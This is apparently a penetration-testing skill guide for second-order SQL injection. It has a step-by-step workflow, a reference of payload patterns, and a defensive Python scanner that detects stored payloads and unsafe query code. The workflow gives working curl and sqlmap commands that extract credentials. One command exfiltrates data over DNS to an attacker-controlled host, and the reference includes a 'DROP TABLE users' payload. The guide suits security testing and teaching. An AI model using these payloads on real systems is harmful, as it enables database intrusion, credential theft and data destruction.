npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- When first-order SQL injection testing reveals proper input sanitization at storage time
- During penetration testing of applications with user-generated content stored in databases
- When testing multi-step workflows where stored data feeds subsequent database queries
- During assessment of admin panels that display or process user-submitted data
- When evaluating stored procedure execution paths that use previously stored data
Prerequisites
- Burp Suite Professional for request tracking across application flows
- SQLMap with second-order injection support (--second-url flag)
- Understanding of SQL injection fundamentals and blind extraction techniques
- Two or more application functions (one for storing data, another for triggering execution)
- Database error message monitoring or blind technique knowledge
- Multiple user accounts for testing stored data across different contexts
Workflow
Step 1 — Identify Storage and Trigger Points
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"Step 2 — Inject Payloads via Storage Points
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"Step 3 — Trigger Execution of Stored Payloads
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"Step 4 — Use SQLMap for Second-Order Injection
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&email=test@test.com" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKENStep 5 — Blind Second-Order Extraction
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order
# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; WAITFOR DELAY '0:0:5'--"
# Out-of-band extraction via DNS
# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"Step 6 — Escalate to Full Database Compromise
# Once injection is confirmed, enumerate database
# Store UNION-based payload
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"
# Extract credentials
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"
# Trigger execution and read results
curl http://target.com/profileKey Concepts
| Concept | Description |
|---|---|
| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |
| Storage Point | Application function where malicious input is saved to the database |
| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |
| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |
| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |
| Deferred Execution | Payload may not execute until hours or days after initial storage |
| Cross-Context Injection | Data stored by one user triggers execution in another user's context |
Tools & Systems
| Tool | Purpose |
|---|---|
| SQLMap | Automated SQL injection with --second-url support for second-order attacks |
| Burp Suite | Request tracking and comparison across storage and trigger endpoints |
| OWASP ZAP | Automated scanning with injection detection |
| Commix | Automated command injection tool supporting second-order techniques |
| Custom Python scripts | Building automated storage-and-trigger exploitation chains |
| DBeaver/DataGrip | Direct database access for verifying stored payloads |
Common Scenarios
- Username-Based Attack — Register with a SQL injection payload as username; the payload executes when an admin views the user list
- Password Change Exploitation — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query
- Report Generation Attack — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries
- Cross-User Injection — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data
- Export Function Exploit — Inject payload in profile data that triggers during CSV/PDF export operations
Output Format
## Second-Order SQL Injection Report
- **Target**: http://target.com
- **Storage Point**: POST /register (username field)
- **Trigger Point**: GET /admin/users (admin panel)
- **Database**: MySQL 8.0
### Attack Flow
1. Registered user with username: `admin' UNION SELECT password FROM users--`
2. Application stored username safely using parameterized INSERT
3. Admin panel retrieves usernames with unsafe string concatenation in SELECT
4. Injected SQL executes, revealing all user passwords in admin view
### Data Extracted
| Table | Columns | Records |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |
### Remediation
- Use parameterized queries for ALL database operations, including reads
- Never trust data retrieved from the database as safe
- Implement output encoding when displaying database content
- Apply least-privilege database permissions
- Enable SQL query logging for detecting injection attemptsReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.6 KB
Second-Order SQL Injection - API Reference
Attack Overview
Second-order SQL injection occurs when user-supplied data is stored in a database and later incorporated into SQL queries without sanitization. Unlike first-order SQLi, the injection payload is not executed at the point of input but at a secondary execution point.
Attack Flow:
- Attacker submits payload via input form (e.g., username registration)
- Application safely stores the payload in database (parameterized INSERT)
- Application later retrieves the stored value
- Stored value is concatenated into a new SQL query without sanitization
- Injection executes at the secondary query point
SQL Injection Patterns
| Pattern | Example | Risk |
|---|---|---|
| UNION SELECT | ' UNION SELECT password FROM users-- |
Data exfiltration |
| Tautology | ' OR 1=1-- |
Authentication bypass |
| Stacked queries | '; DROP TABLE users-- |
Data destruction |
| Time-based blind | '; WAITFOR DELAY '0:0:5'-- |
Data extraction |
| Error-based | ' AND CONVERT(int, @@version)-- |
Information disclosure |
Code Sink Patterns (Vulnerable Code)
Python (dangerous)
cursor.execute(f"SELECT * FROM orders WHERE user='{username}'")
cursor.execute("SELECT * FROM orders WHERE user='%s'" % username)Python (safe - parameterized)
cursor.execute("SELECT * FROM orders WHERE user=%s", (username,))PHP (dangerous)
$query = "SELECT * FROM orders WHERE user='" . $username . "'";Database Dump Format
The agent expects JSON format for database analysis:
{
"users": [
{"id": 1, "username": "admin", "email": "admin@example.com"},
{"id": 2, "username": "' UNION SELECT 1,2,3--", "email": "test@test.com"}
],
"comments": [
{"id": 1, "body": "Normal comment"},
{"id": 2, "body": "'; DROP TABLE users--"}
]
}Data Flow Tracing
The agent correlates stored payloads with code sinks by matching table/column names referenced in source code queries against tables containing injection payloads.
Prevention
- Use parameterized queries (prepared statements) everywhere
- Apply output encoding when using stored data in queries
- Implement stored procedure-based data access
- Use an ORM that auto-parameterizes queries
- Validate data on both input AND retrieval from database
Output Schema
{
"report": "second_order_sql_injection",
"total_findings": 15,
"stored_payloads": 5,
"code_sinks": 8,
"confirmed_attack_paths": 2,
"findings": [{"type": "confirmed_attack_path", "severity": "critical"}]
}CLI Usage
python agent.py --db-dump database.json --source /app/src --output report.jsonScripts 1
agent.py6.4 KB
#!/usr/bin/env python3
"""Second-Order SQL Injection agent — detects stored SQL injection payloads
by analyzing database content and tracing data flow from input to secondary
query execution points."""
import argparse
import json
import re
from collections import Counter
from datetime import datetime
from pathlib import Path
SQL_INJECTION_PATTERNS = [
r"(?i)(\bunion\b\s+\bselect\b)",
r"(?i)(\bor\b\s+1\s*=\s*1)",
r"(?i)(\band\b\s+1\s*=\s*1)",
r"(?i)(;\s*drop\s+table\b)",
r"(?i)(;\s*delete\s+from\b)",
r"(?i)(;\s*update\b.*\bset\b)",
r"(?i)(;\s*insert\s+into\b)",
r"(?i)(--\s*$)",
r"(?i)(\bexec\b\s*\()",
r"(?i)(\bwaitfor\b\s+\bdelay\b)",
r"(?i)(\bsleep\b\s*\(\d+\))",
r"(?i)(\bconvert\b\s*\()",
r"(?i)(\bcast\b\s*\(.*\bas\b)",
r"(?i)(\bchar\b\s*\(\d+\))",
r"(?i)(\b0x[0-9a-f]+\b)",
r"(\x27|\x22)\s*(or|and|union)",
]
def scan_database_values(db_dump_path: str) -> list[dict]:
"""Scan a database dump (JSON format) for stored SQL injection payloads."""
data = json.loads(Path(db_dump_path).read_text(encoding="utf-8"))
findings = []
for table_name, rows in data.items():
for row_idx, row in enumerate(rows):
for col_name, value in row.items():
if not isinstance(value, str):
continue
for pattern in SQL_INJECTION_PATTERNS:
match = re.search(pattern, value)
if match:
findings.append({
"type": "stored_sqli_payload",
"severity": "critical",
"table": table_name,
"column": col_name,
"row_index": row_idx,
"matched_pattern": pattern,
"matched_text": match.group(0),
"value_preview": value[:200],
"detail": f"SQL injection payload in {table_name}.{col_name} row {row_idx}",
})
break
return findings
def scan_source_code(source_dir: str) -> list[dict]:
"""Scan source code for second-order SQL injection sinks (string concatenation with DB data)."""
dangerous_patterns = [
(r"(?i)cursor\.execute\s*\(\s*[\"'].*%s", "python_format_string"),
(r"(?i)cursor\.execute\s*\(\s*f[\"']", "python_fstring"),
(r'(?i)query\s*=\s*["\'].*\+\s*\w+', "string_concatenation"),
(r"(?i)\.format\s*\(.*\)\s*\)", "python_format"),
(r'(?i)\$\{.*\}\s*(?:FROM|WHERE|INSERT|UPDATE|DELETE)', "template_literal"),
(r'(?i)sprintf\s*\(\s*["\'].*(?:SELECT|INSERT|UPDATE|DELETE)', "sprintf_query"),
]
findings = []
src = Path(source_dir)
for ext in ("*.py", "*.php", "*.java", "*.js", "*.rb", "*.cs"):
for fpath in src.rglob(ext):
try:
content = fpath.read_text(encoding="utf-8", errors="ignore")
for line_no, line in enumerate(content.splitlines(), 1):
for pattern, pattern_name in dangerous_patterns:
if re.search(pattern, line):
findings.append({
"type": "second_order_sqli_sink",
"severity": "high",
"file": str(fpath),
"line": line_no,
"pattern": pattern_name,
"code_snippet": line.strip()[:200],
"detail": f"Potential second-order SQLi sink at {fpath.name}:{line_no}",
})
break
except OSError:
continue
return findings
def trace_data_flow(db_findings: list[dict], code_findings: list[dict]) -> list[dict]:
"""Correlate stored payloads with code sinks to identify complete attack paths."""
attack_paths = []
for db_f in db_findings:
table = db_f["table"]
column = db_f["column"]
for code_f in code_findings:
snippet = code_f.get("code_snippet", "").lower()
if table.lower() in snippet or column.lower() in snippet:
attack_paths.append({
"type": "confirmed_attack_path",
"severity": "critical",
"source": f"{table}.{column}",
"sink": f"{code_f['file']}:{code_f['line']}",
"detail": f"Stored payload in {table}.{column} flows to query at {code_f['file']}:{code_f['line']}",
})
return attack_paths
def generate_report(db_dump_path: str = None, source_dir: str = None) -> dict:
"""Run analysis and build consolidated report."""
findings = []
db_findings = []
code_findings = []
if db_dump_path:
db_findings = scan_database_values(db_dump_path)
findings.extend(db_findings)
if source_dir:
code_findings = scan_source_code(source_dir)
findings.extend(code_findings)
if db_findings and code_findings:
attack_paths = trace_data_flow(db_findings, code_findings)
findings.extend(attack_paths)
severity_counts = Counter(f.get("severity", "info") for f in findings)
return {
"report": "second_order_sql_injection",
"generated_at": datetime.utcnow().isoformat() + "Z",
"total_findings": len(findings),
"severity_summary": dict(severity_counts),
"stored_payloads": len(db_findings),
"code_sinks": len(code_findings),
"confirmed_attack_paths": len([f for f in findings if f["type"] == "confirmed_attack_path"]),
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="Second-Order SQL Injection Agent")
parser.add_argument("--db-dump", help="JSON database dump file to scan for stored payloads")
parser.add_argument("--source", help="Source code directory to scan for injection sinks")
parser.add_argument("--output", help="Output JSON file path")
args = parser.parse_args()
if not args.db_dump and not args.source:
parser.error("At least one of --db-dump or --source is required")
report = generate_report(args.db_dump, args.source)
output = json.dumps(report, indent=2)
if args.output:
Path(args.output).write_text(output, encoding="utf-8")
print(f"Report written to {args.output}")
else:
print(output)
if __name__ == "__main__":
main()